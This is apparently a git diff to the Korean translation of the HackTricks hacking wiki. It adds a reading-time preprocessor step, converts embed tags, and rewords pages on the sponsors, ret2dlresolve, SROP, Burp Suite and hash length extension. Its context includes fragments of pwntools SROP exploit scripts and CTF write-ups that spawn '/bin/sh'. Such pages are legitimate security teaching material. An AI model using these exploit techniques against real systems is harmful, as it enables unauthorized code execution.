diff --git a/hacktricks-preprocessor.py b/hacktricks-preprocessor.py index fedfdef99..b3186537d 100644 --- a/hacktricks-preprocessor.py +++ b/hacktricks-preprocessor.py @@ -69,6 +69,12 @@ def ref(matchobj): return result +def add_read_time(content): + regex = r'(<\/style>\n# .*(?=\n))' + new_content = re.sub(regex, lambda x: x.group(0) + "\n\nReading time: {{ #reading_time }}", content) + return new_content + + def iterate_chapters(sections): if isinstance(sections, dict) and "PartTitle" in sections: # Not a chapter section return @@ -99,6 +105,7 @@ if __name__ == '__main__': current_chapter = chapter regex = r'{{[\s]*#ref[\s]*}}(?:\n)?([^\\\n]*)(?:\n)?{{[\s]*#endref[\s]*}}' new_content = re.sub(regex, ref, chapter['content']) + new_content = add_read_time(new_content) chapter['content'] = new_content content = json.dumps(book) diff --git a/src/README.md b/src/README.md index 81cf92d4d..3244e4fc8 100644 --- a/src/README.md +++ b/src/README.md @@ -1,13 +1,10 @@ # HackTricks -Reading time: {{ #reading_time }} -
_Hacktricks 로고 및 모션 디자인은_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_에 의해 제작되었습니다._ -> [!TIP] -> **CTF, 실제 애플리케이션, 연구 및 뉴스에서 배운 각 해킹 트릭/기술/무엇이든 찾을 수 있는 위키에 오신 것을 환영합니다.** +> [!TIP] > **CTF, 실제 애플리케이션, 연구 및 뉴스에서 배운 모든 해킹 트릭/기술/무엇이든 찾을 수 있는 위키에 오신 것을 환영합니다.** 시작하려면 이 페이지를 따라가세요. 여기에서 **하나 이상의 머신을 펜테스팅할 때 따라야 할 전형적인 흐름**을 찾을 수 있습니다: @@ -21,9 +18,9 @@ generic-methodologies-and-resources/pentesting-methodology.md
-[**STM Cyber**](https://www.stmcyber.com)는 **HACK THE UNHACKABLE**라는 슬로건을 가진 훌륭한 사이버 보안 회사입니다. 그들은 자체 연구를 수행하고 **여러 유용한 사이버 보안 서비스**를 제공하기 위해 자체 해킹 도구를 개발합니다. +[**STM Cyber**](https://www.stmcyber.com)는 **HACK THE UNHACKABLE**라는 슬로건을 가진 훌륭한 사이버 보안 회사입니다. 그들은 자체 연구를 수행하고 **여러 유용한 사이버 보안 서비스**를 제공하기 위해 자체 해킹 도구를 개발합니다. 예를 들어, 펜테스팅, 레드 팀 및 교육 등이 있습니다. -그들의 **블로그**는 [**https://blog.stmcyber.com**](https://blog.stmcyber.com)에서 확인할 수 있습니다. +그들의 **블로그**를 확인할 수 있습니다: [**https://blog.stmcyber.com**](https://blog.stmcyber.com) **STM Cyber**는 또한 HackTricks와 같은 사이버 보안 오픈 소스 프로젝트를 지원합니다 :) @@ -35,7 +32,9 @@ generic-methodologies-and-resources/pentesting-methodology.md [**RootedCON**](https://www.rootedcon.com)는 **스페인**에서 가장 중요한 사이버 보안 이벤트이며 **유럽**에서 가장 중요한 행사 중 하나입니다. **기술 지식을 촉진하는 사명**을 가지고 있는 이 회의는 모든 분야의 기술 및 사이버 보안 전문가들이 모이는 뜨거운 만남의 장소입니다. -{% embed url="https://www.rootedcon.com/" %} +{{#ref}} +https://www.rootedcon.com/ +{{#endref}} --- @@ -45,9 +44,11 @@ generic-methodologies-and-resources/pentesting-methodology.md **Intigriti**는 **유럽의 #1** 윤리적 해킹 및 **버그 바운티 플랫폼**입니다. -**버그 바운티 팁**: **Intigriti**에 **가입**하세요. 해커를 위해 해커가 만든 프리미엄 **버그 바운티 플랫폼**입니다! 오늘 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)에 가입하고 최대 **$100,000**의 보상을 받기 시작하세요! +**버그 바운티 팁**: **Intigriti**에 **가입하세요**, 해커를 위해 해커가 만든 프리미엄 **버그 바운티 플랫폼**입니다! 오늘 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)에 가입하고 최대 **$100,000**의 보상을 받기 시작하세요! -{% embed url="https://go.intigriti.com/hacktricks" %} +{{#ref}} +https://go.intigriti.com/hacktricks +{{#endref}} --- @@ -56,11 +57,13 @@ generic-methodologies-and-resources/pentesting-methodology.md
\ -[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)를 사용하여 세계에서 **가장 진보된** 커뮤니티 도구로 **워크플로우**를 쉽게 구축하고 **자동화**하세요. +[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)를 사용하여 세계에서 **가장 진보된** 커뮤니티 도구로 **워크플로우를 쉽게 구축하고 자동화**하세요. 지금 액세스하세요: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{{#ref}} +https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks +{{#endref}} --- @@ -74,7 +77,7 @@ generic-methodologies-and-resources/pentesting-methodology.md - **실시간 해킹 뉴스:** 실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계를 따라가세요. - **최신 공지사항:** 새로운 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대한 정보를 유지하세요. -**오늘 [**Discord**](https://discord.com/invite/N3FrSbmwdy)에서 저희와 함께하고 최고의 해커들과 협력하세요!** +오늘 [**Discord**](https://discord.com/invite/N3FrSbmwdy)에 가입하고 최고의 해커들과 협력하세요! --- @@ -84,9 +87,11 @@ generic-methodologies-and-resources/pentesting-methodology.md **웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요.** -**실제 비즈니스에 영향을 미치는 중요한, 악용 가능한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요. +**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요. -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} +{{#ref}} +https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons +{{#endref}} --- @@ -94,14 +99,14 @@ generic-methodologies-and-resources/pentesting-methodology.md
-**SerpApi**는 **검색 엔진 결과**에 **빠르고 쉽게** 액세스할 수 있는 실시간 API를 제공합니다. 그들은 검색 엔진을 스크랩하고, 프록시를 처리하며, 캡차를 해결하고, 모든 풍부한 구조화된 데이터를 파싱합니다. +**SerpApi**는 **검색 엔진 결과에 접근할 수 있는 빠르고 쉬운 실시간 API**를 제공합니다. 그들은 검색 엔진을 스크랩하고, 프록시를 처리하며, 캡차를 해결하고, 모든 풍부한 구조화된 데이터를 파싱합니다. -SerpApi의 플랜 중 하나에 가입하면 Google, Bing, Baidu, Yahoo, Yandex 등 다양한 검색 엔진을 스크랩하기 위한 50개 이상의 API에 액세스할 수 있습니다.\ -다른 제공업체와 달리 **SerpApi는 유기적 결과만 스크랩하지 않습니다**. SerpApi 응답은 항상 모든 광고, 인라인 이미지 및 비디오, 지식 그래프 및 검색 결과에 있는 기타 요소와 기능을 포함합니다. +SerpApi의 플랜 중 하나에 가입하면 Google, Bing, Baidu, Yahoo, Yandex 등 다양한 검색 엔진을 스크랩하기 위한 50개 이상의 API에 접근할 수 있습니다.\ +다른 제공업체와 달리 **SerpApi는 유기적 결과만 스크랩하지 않습니다**. SerpApi의 응답은 항상 모든 광고, 인라인 이미지 및 비디오, 지식 그래프 및 검색 결과에 있는 기타 요소와 기능을 포함합니다. 현재 SerpApi 고객에는 **Apple, Shopify 및 GrubHub**가 포함됩니다.\ 자세한 정보는 그들의 [**블로그**](https://serpapi.com/blog/)를 확인하거나 [**플레이그라운드**](https://serpapi.com/playground)에서 예제를 시도해 보세요.\ -[**여기**](https://serpapi.com/users/sign_up)에서 **무료 계정을 생성**할 수 있습니다.** +여기에서 **무료 계정을 생성**할 수 있습니다: [**여기**](https://serpapi.com/users/sign_up). --- @@ -109,9 +114,11 @@ SerpApi의 플랜 중 하나에 가입하면 Google, Bing, Baidu, Yahoo, Yandex
-모바일 애플리케이션과 장치를 보호하기 위해 취약성 연구, 침투 테스트 및 리버스 엔지니어링을 수행하는 데 필요한 기술과 기술을 배우세요. **온디맨드 과정**을 통해 **iOS 및 Android 보안**을 마스터하고 **인증을 받으세요**: +모바일 애플리케이션 및 장치를 보호하기 위해 취약성 연구, 침투 테스트 및 리버스 엔지니어링을 수행하는 데 필요한 기술과 기술을 배우세요. **온디맨드 과정**을 통해 **iOS 및 Android 보안을 마스터하고** **인증을 받으세요**: -{% embed url="https://academy.8ksec.io/" %} +{{#ref}} +https://academy.8ksec.io/ +{{#endref}} --- @@ -119,15 +126,17 @@ SerpApi의 플랜 중 하나에 가입하면 Google, Bing, Baidu, Yahoo, Yandex
-[**WebSec**](https://websec.nl)는 **암스테르담**에 본사를 둔 전문 사이버 보안 회사로, **전 세계의** 기업을 최신 사이버 보안 위협으로부터 **보호**하는 데 도움을 줍니다. **공격 보안 서비스**를 제공하는 **현대적인** 접근 방식을 가지고 있습니다. +[**WebSec**](https://websec.nl)는 **암스테르담**에 본사를 둔 전문 사이버 보안 회사로, **전 세계의 기업을 최신 사이버 보안 위협으로부터 보호**하는 데 도움을 주며 **공격 보안 서비스**를 **현대적인** 접근 방식으로 제공합니다. WebSec는 **올인원 보안 회사**로, 펜테스팅, **보안** 감사, 인식 교육, 피싱 캠페인, 코드 리뷰, 익스플로잇 개발, 보안 전문가 아웃소싱 등 모든 것을 수행합니다. -WebSec의 또 다른 멋진 점은 업계 평균과 달리 WebSec가 **자신의 기술에 매우 자신감이 있다는 것입니다.** 그들은 **최고 품질의 결과를 보장**한다고 웹사이트에 명시하고 있습니다. "**우리가 해킹할 수 없다면, 당신은 지불하지 않습니다!**" 더 많은 정보는 그들의 [**웹사이트**](https://websec.nl/en/)와 [**블로그**](https://websec.nl/blog/)를 확인하세요! +WebSec의 또 다른 멋진 점은 업계 평균과 달리 WebSec가 **자신의 기술에 매우 자신감이 있다는 것입니다.** 그들은 **최고 품질의 결과를 보장**하며, 웹사이트에 "**우리가 해킹할 수 없다면, 당신은 지불하지 않습니다!**"라고 명시되어 있습니다. 더 많은 정보는 그들의 [**웹사이트**](https://websec.nl/en/)와 [**블로그**](https://websec.nl/blog/)를 확인하세요! -위의 내용 외에도 WebSec는 **HackTricks의 헌신적인 후원자**입니다. +위의 내용 외에도 WebSec는 **HackTricks의 헌신적인 후원자**이기도 합니다. -{% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %} +{{#ref}} +https://www.youtube.com/watch?v=Zq2JycGDCPM +{{#endref}} ## License & Disclaimer diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md b/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md index af97eb91c..1fe5fae08 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md @@ -8,7 +8,7 @@ **`_dl_runtime_resolve`** 함수는 지정된 기호를 **해결**하는 데 필요한 몇 가지 구조체에 대한 참조를 스택에서 가져옵니다. -따라서 요청된 기호(예: **`system`** 함수)를 동적으로 연결된 해결을 위해 **이 모든 구조체를 위조**할 수 있으며, 구성된 매개변수(예: **`system('/bin/sh')`**)로 호출할 수 있습니다. +따라서 요청된 기호(예: **`system`** 함수)를 동적으로 연결된 해결을 위해 **모든 이러한 구조체를 위조**하고 구성된 매개변수(예: **`system('/bin/sh')`**)로 호출할 수 있습니다. 일반적으로 이러한 모든 구조체는 **쓰기 가능한 메모리에서 `read`를 호출하는 초기 ROP 체인을 만들어 위조**됩니다. 그런 다음 **구조체**와 문자열 **`'/bin/sh'`**가 전달되어 읽기에서 알려진 위치에 저장되고, 이후 ROP 체인은 **`_dl_runtime_resolve`**를 호출하여 **가짜 구조체에서 `system`의 주소를 해결**하고 **이 주소를** `$'/bin/sh'`의 주소로 호출합니다. @@ -17,7 +17,9 @@ 이 기술에 대한 좋은 설명을 비디오 후반부에서 확인하세요: -{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %} +{{#ref}} +https://youtu.be/ADULSwnQs-s?feature=shared +{{#endref}} 또는 단계별 설명을 위해 다음 페이지를 확인하세요: @@ -26,11 +28,11 @@ ## Attack Summary -1. 가짜 구조체를 어떤 위치에 작성 +1. 일부 위치에 가짜 구조체 작성 2. system의 첫 번째 인수 설정 (`$rdi = &'/bin/sh'`) -3. **`_dl_runtime_resolve`**를 호출하기 위해 스택에 구조체의 주소 설정 -4. **호출** `_dl_runtime_resolve` -5. **`system`**이 해결되고 `'/bin/sh'`를 인수로 호출됨 +3. **`_dl_runtime_resolve`**를 호출하기 위해 구조체의 주소를 스택에 설정 +4. **Call** `_dl_runtime_resolve` +5. **`system`**이 해결되고 `'/bin/sh'`를 인수로 호출됩니다. [**pwntools documentation**](https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html)에서, **`ret2dlresolve`** 공격은 다음과 같이 보입니다: ```python @@ -186,6 +188,6 @@ target.interactive() - [https://youtu.be/ADULSwnQs-s](https://youtu.be/ADULSwnQs-s?feature=shared) - [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve) - [https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html](https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html) -- 32비트, no relro, no canary, nx, no pie, 기본 작은 버퍼 오버플로우 및 리턴. 이를 이용해 bof는 `.bss` 섹션과 더 큰 크기로 `read`를 다시 호출하는 데 사용되며, 그곳에 `dlresolve` 가짜 테이블을 저장하여 `system`을 로드하고, main으로 리턴한 후 초기 bof를 재사용하여 dlresolve를 호출하고 `system('/bin/sh')`를 실행합니다. +- 32비트, no relro, no canary, nx, no pie, 기본 작은 버퍼 오버플로우 및 반환. 이를 이용해 bof는 `.bss` 섹션과 더 큰 크기로 `read`를 다시 호출하는 데 사용되며, 그곳에 `dlresolve` 가짜 테이블을 저장하여 `system`을 로드하고, main으로 반환한 후 초기 bof를 재사용하여 dlresolve를 호출하고 `system('/bin/sh')`를 실행합니다. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md b/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md index 465e4d336..9333ced46 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md +++ b/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md @@ -4,14 +4,14 @@ ## Basic Information -**`Sigreturn`**는 주로 신호 처리기가 실행을 완료한 후 정리하는 데 사용되는 특별한 **syscall**입니다. 신호는 운영 체제가 프로그램에 보내는 중단으로, 종종 예외적인 상황이 발생했음을 나타냅니다. 프로그램이 신호를 받으면, 신호를 처리하기 위해 **신호 처리기**라는 특별한 기능을 사용하여 현재 작업을 일시적으로 중단합니다. +**`Sigreturn`**는 주로 신호 처리기가 실행을 완료한 후 정리하는 데 사용되는 특별한 **syscall**입니다. 신호는 운영 체제가 프로그램에 보내는 중단으로, 종종 예외적인 상황이 발생했음을 나타냅니다. 프로그램이 신호를 받으면, 신호를 처리하기 위해 **신호 처리기**라는 특별한 함수로 현재 작업을 일시적으로 중단합니다. -신호 처리기가 끝난 후, 프로그램은 아무 일도 없었던 것처럼 **이전 상태로 복귀해야** 합니다. 이때 **`sigreturn`**이 작용합니다. 이는 프로그램이 **신호 처리기에서 반환**하고 신호 처리기에 의해 사용된 스택 프레임(함수 호출 및 지역 변수를 저장하는 메모리 섹션)을 정리하여 프로그램의 상태를 복원하는 데 도움을 줍니다. +신호 처리기가 끝난 후, 프로그램은 아무 일도 없었던 것처럼 **이전 상태로 복귀**해야 합니다. 여기서 **`sigreturn`**이 작용합니다. 이는 프로그램이 **신호 처리기에서 반환**하고 신호 처리기에 의해 사용된 스택 프레임(함수 호출 및 지역 변수를 저장하는 메모리 섹션)을 정리하여 프로그램의 상태를 복원하는 데 도움을 줍니다. 흥미로운 점은 **`sigreturn`**이 프로그램의 상태를 복원하는 방법입니다: 이는 **모든 CPU의 레지스터 값을 스택에 저장**함으로써 이루어집니다. 신호가 더 이상 차단되지 않으면, **`sigreturn`은 이 값을 스택에서 팝**하여 CPU의 레지스터를 신호가 처리되기 전의 상태로 효과적으로 재설정합니다. 여기에는 현재 스택의 맨 위를 가리키는 스택 포인터 레지스터(RSP)가 포함됩니다. > [!CAUTION] -> ROP 체인에서 **`sigreturn`** syscall을 호출하고 **로드할 레지스터 값**을 **스택**에 추가하면 모든 레지스터 값을 **제어**할 수 있으며, 따라서 예를 들어 `execve` syscall을 `/bin/sh`로 **호출**할 수 있습니다. +> ROP 체인에서 syscall **`sigreturn`**을 호출하고 **스택에 로드할 레지스터 값**을 추가함으로써 모든 레지스터 값을 **제어**할 수 있으며, 따라서 예를 들어 syscall `execve`를 `/bin/sh`로 호출할 수 있습니다. 이것이 다른 Ret2syscall을 호출하기 위한 매개변수를 제어하는 데 훨씬 더 쉽게 만드는 **Ret2syscall의 한 유형**이라는 점에 유의하십시오: @@ -57,11 +57,13 @@ ``` 더 나은 설명을 원하시면 다음도 확인하세요: -{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %} +{{#ref}} +https://youtu.be/ADULSwnQs-s?feature=shared +{{#endref}} ## 예시 -여기에서 ROP를 통해 signeturn 호출이 구성된 [**예제를 찾을 수 있습니다**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) (rxa에 값 `0xf`를 넣음), 비록 이것이 최종 익스플로잇입니다: +[**여기에서 예시를 찾을 수 있습니다**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) 여기서 signeturn 호출이 ROP를 통해 구성됩니다(값 `0xf`를 rxa에 넣음), 비록 이것이 최종 익스플로잇입니다: ```python from pwn import * @@ -88,7 +90,7 @@ payload += bytes(frame) p.sendline(payload) p.interactive() ``` -또한 [**여기서 익스플로잇을 확인하세요**](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html) 여기서 바이너리가 이미 `sigreturn`을 호출하고 있으므로 **ROP**를 구축할 필요가 없습니다: +여기서 [**익스플로잇을 확인하세요**](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html) 이진 파일이 이미 `sigreturn`을 호출하고 있으므로 **ROP**로 이를 구축할 필요가 없습니다. ```python from pwn import * @@ -126,14 +128,14 @@ target.interactive() - [https://youtu.be/ADULSwnQs-s?feature=shared](https://youtu.be/ADULSwnQs-s?feature=shared) - [https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop) - [https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html) -- **스택에 쓰기**를 허용하고 **`sigreturn`** 시스템 호출을 호출하는 어셈블리 바이너리. 스택에 [**ret2syscall**](../rop-syscall-execv/)을 **sigreturn** 구조체를 통해 쓸 수 있으며, 바이너리 메모리 내의 플래그를 읽을 수 있습니다. +- **스택에 쓰기**를 허용하고 **`sigreturn`** 시스템 호출을 호출하는 어셈블리 바이너리. 스택에 [**ret2syscall**](../rop-syscall-execv/)을 **sigreturn** 구조체를 통해 쓸 수 있으며, 바이너리의 메모리 안에 있는 플래그를 읽을 수 있다. - [https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html) -- **스택에 쓰기**를 허용하고 **`sigreturn`** 시스템 호출을 호출하는 어셈블리 바이너리. 스택에 [**ret2syscall**](../rop-syscall-execv/)을 **sigreturn** 구조체를 통해 쓸 수 있으며 (바이너리는 문자열 `/bin/sh`를 포함하고 있습니다). +- **스택에 쓰기**를 허용하고 **`sigreturn`** 시스템 호출을 호출하는 어셈블리 바이너리. 스택에 [**ret2syscall**](../rop-syscall-execv/)을 **sigreturn** 구조체를 통해 쓸 수 있으며 (바이너리는 문자열 `/bin/sh`를 포함하고 있다). - [https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html) -- 64비트, relro 없음, canary 없음, nx, pie 없음. 가젯이 부족한 `gets` 함수의 단순한 버퍼 오버플로우로 [**ret2syscall**](../rop-syscall-execv/)을 수행합니다. ROP 체인은 `/bin/sh`를 `.bss`에 쓰고, 다시 `gets`를 호출하여 **`alarm`** 함수를 악용하여 eax를 `0xf`로 설정하여 **SROP**를 호출하고 셸을 실행합니다. +- 64비트, relro 없음, canary 없음, nx, pie 없음. 가젯이 부족한 `gets` 함수를 악용한 간단한 버퍼 오버플로우로 [**ret2syscall**](../rop-syscall-execv/)을 수행한다. ROP 체인은 `/bin/sh`를 `.bss`에 쓰고, 다시 `gets`를 호출하여 **`alarm`** 함수를 악용하여 eax를 `0xf`로 설정하고 **SROP**를 호출하여 셸을 실행한다. - [https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html) -- 64비트 어셈블리 프로그램, relro 없음, canary 없음, nx, pie 없음. 흐름은 스택에 쓰고 여러 레지스터를 제어하며 시스템 호출을 호출한 후 `exit`를 호출할 수 있습니다. 선택된 시스템 호출은 `sigreturn`으로, 레지스터를 설정하고 `eip`를 이전 시스템 호출 명령어를 호출하도록 이동시켜 `memprotect`를 실행하여 바이너리 공간을 `rwx`로 설정하고 ESP를 바이너리 공간에 설정합니다. 흐름을 따라 프로그램은 ESP에 다시 읽기를 호출하지만, 이 경우 ESP는 다음 명령어를 가리키므로 셸코드를 전달하면 다음 명령어로 작성되고 실행됩니다. +- 64비트 어셈블리 프로그램, relro 없음, canary 없음, nx, pie 없음. 흐름은 스택에 쓰고 여러 레지스터를 제어하며 시스템 호출을 호출한 후 `exit`를 호출할 수 있게 한다. 선택된 시스템 호출은 `sigreturn`으로, 레지스터를 설정하고 `eip`를 이전 시스템 호출 명령어를 호출하도록 이동시켜 `memprotect`를 실행하여 바이너리 공간을 `rwx`로 설정하고 ESP를 바이너리 공간에 설정한다. 흐름을 따라 프로그램은 ESP에 다시 읽기를 호출하지만, 이 경우 ESP는 다음 명령어를 가리키게 되어 셸코드를 다음 명령어로 쓰고 실행하게 된다. - [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection) -- SROP는 셸코드가 배치된 위치에 실행 권한 (memprotect)을 부여하는 데 사용됩니다. +- SROP는 셸코드가 배치된 위치에 실행 권한 (memprotect)을 부여하는 데 사용된다. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/burp-suite.md b/src/burp-suite.md index 882f7d6a7..8036c7414 100644 --- a/src/burp-suite.md +++ b/src/burp-suite.md @@ -10,7 +10,9 @@ [https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : DNS 요청을 통해 burpcollab에 명령을 실행하고 출력을 가져오는 페이로드. -{% embed url="https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e" %} +{{#ref}} +https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e +{{#endref}} [https://github.com/h3xstream/http-script-generator](https://github.com/h3xstream/http-script-generator) diff --git a/src/crypto-and-stego/esoteric-languages.md b/src/crypto-and-stego/esoteric-languages.md index a70d50543..ba9d49db8 100644 --- a/src/crypto-and-stego/esoteric-languages.md +++ b/src/crypto-and-stego/esoteric-languages.md @@ -48,7 +48,9 @@ Take it to the top Whisper my world ``` -{% embed url="https://codewithrockstar.com/" %} +{{#ref}} +https://codewithrockstar.com/ +{{#endref}} ## PETOOH ``` diff --git a/src/crypto-and-stego/hash-length-extension-attack.md b/src/crypto-and-stego/hash-length-extension-attack.md index ab6e0fdd1..a6fd5fe24 100644 --- a/src/crypto-and-stego/hash-length-extension-attack.md +++ b/src/crypto-and-stego/hash-length-extension-attack.md @@ -4,20 +4,20 @@ ## 공격 요약 -서버가 **데이터**에 **비밀**을 **추가**하여 **서명**하고 그 데이터를 해시하는 상황을 상상해 보십시오. 다음을 알고 있다면: +서버가 **데이터**에 **비밀**을 **추가**하여 **서명**하고 그 데이터를 해싱한다고 상상해 보십시오. 다음을 알고 있다면: - **비밀의 길이** (주어진 길이 범위에서 브루트포스할 수 있음) - **명확한 텍스트 데이터** - **알고리즘 (이 공격에 취약함)** -- **패딩이 알려져 있음** +- **패딩이 알려짐** - 일반적으로 기본값이 사용되므로 다른 3가지 요구 사항이 충족되면 이것도 해당됨 -- 패딩은 비밀+데이터의 길이에 따라 달라지므로 비밀의 길이가 필요함 +- 패딩은 비밀 + 데이터의 길이에 따라 달라지므로 비밀의 길이가 필요함 그렇다면 **공격자**가 **데이터**를 **추가**하고 **이전 데이터 + 추가된 데이터**에 대한 유효한 **서명**을 **생성**하는 것이 가능합니다. ### 어떻게? -기본적으로 취약한 알고리즘은 먼저 **데이터 블록을 해시**한 다음, **이전에** 생성된 **해시**(상태)에서 **다음 데이터 블록을 추가**하고 **해시**합니다. +기본적으로 취약한 알고리즘은 먼저 **데이터 블록을 해싱**하여 해시를 생성하고, 그 다음 **이전에** 생성된 **해시**(상태)에서 **다음 데이터 블록을 추가**하고 **해싱**합니다. 그런 다음 비밀이 "secret"이고 데이터가 "data"라고 가정해 보십시오. "secretdata"의 MD5는 6036708eba0d11f6ef52ad44e8b74d5b입니다.\ 공격자가 "append" 문자열을 추가하고 싶다면 다음과 같이 할 수 있습니다: @@ -29,9 +29,11 @@ ### **도구** -{% embed url="https://github.com/iagox86/hash_extender" %} +{{#ref}} +https://github.com/iagox86/hash_extender +{{#endref}} -### 참고문헌 +### 참고 문헌 이 공격에 대한 좋은 설명은 [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)에서 찾을 수 있습니다. diff --git a/src/crypto-and-stego/rc4-encrypt-and-decrypt.md b/src/crypto-and-stego/rc4-encrypt-and-decrypt.md index 054d1ed4c..70c6ab745 100644 --- a/src/crypto-and-stego/rc4-encrypt-and-decrypt.md +++ b/src/crypto-and-stego/rc4-encrypt-and-decrypt.md @@ -4,8 +4,12 @@ RC4를 사용하여 평문을 암호화할 수 있다면, 동일한 비밀번호 알려진 평문을 암호화할 수 있다면 비밀번호를 추출할 수도 있습니다. 더 많은 참고 자료는 HTB Kryptos 머신에서 찾을 수 있습니다: -{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %} +{{#ref}} +https://0xrick.github.io/hack-the-box/kryptos/ +{{#endref}} -{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %} +{{#ref}} +https://0xrick.github.io/hack-the-box/kryptos/ +{{#endref}} {{#include ../banners/hacktricks-training.md}} diff --git a/src/cryptography/hash-length-extension-attack.md b/src/cryptography/hash-length-extension-attack.md index bfd1d10d6..165b7e5b7 100644 --- a/src/cryptography/hash-length-extension-attack.md +++ b/src/cryptography/hash-length-extension-attack.md @@ -2,32 +2,34 @@ # 공격 요약 -서버가 **데이터**에 **비밀**을 **추가**하여 **서명**하고 그 데이터를 해시한다고 상상해 보십시오. 다음을 알고 있다면: +서버가 **데이터**에 **비밀**을 추가하여 **서명**하고 그 데이터를 해시하는 상황을 상상해 보십시오. 다음을 알고 있다면: -- **비밀의 길이** (주어진 길이 범위에서 브루트포스할 수 있음) +- **비밀의 길이** (주어진 길이 범위에서 무차별 대입으로도 알 수 있음) - **명확한 텍스트 데이터** - **알고리즘 (이 공격에 취약함)** - **패딩이 알려져 있음** -- 일반적으로 기본값이 사용되므로 다른 3가지 요구 사항이 충족되면 이것도 해당됨 +- 일반적으로 기본 패딩이 사용되므로 다른 3가지 요구 사항이 충족되면 이것도 해당됨 - 패딩은 비밀 + 데이터의 길이에 따라 달라지므로 비밀의 길이가 필요함 그렇다면 **공격자**가 **데이터**를 **추가**하고 **이전 데이터 + 추가된 데이터**에 대한 유효한 **서명**을 **생성**하는 것이 가능합니다. ## 어떻게? -기본적으로 취약한 알고리즘은 먼저 **데이터 블록을 해시**하여 해시를 생성한 다음, **이전**에 생성된 **해시**(상태)에서 **다음 데이터 블록을 추가**하고 **해시**합니다. +기본적으로 취약한 알고리즘은 먼저 **데이터 블록을 해시**하여 해시를 생성하고, 그 다음에 **이전에** 생성된 **해시**(상태)에서 **다음 데이터 블록을 추가**하고 **해시**합니다. 그런 다음 비밀이 "secret"이고 데이터가 "data"라고 가정해 보십시오. "secretdata"의 MD5는 6036708eba0d11f6ef52ad44e8b74d5b입니다.\ -공격자가 "append" 문자열을 추가하고 싶다면 다음과 같이 할 수 있습니다: +공격자가 "append"라는 문자열을 추가하고 싶다면 다음과 같이 할 수 있습니다: - 64개의 "A"로 MD5 생성 - 이전에 초기화된 해시의 상태를 6036708eba0d11f6ef52ad44e8b74d5b로 변경 -- "append" 문자열 추가 +- 문자열 "append" 추가 - 해시를 완료하면 결과 해시는 **"secret" + "data" + "padding" + "append"**에 대한 유효한 해시가 됩니다. ## 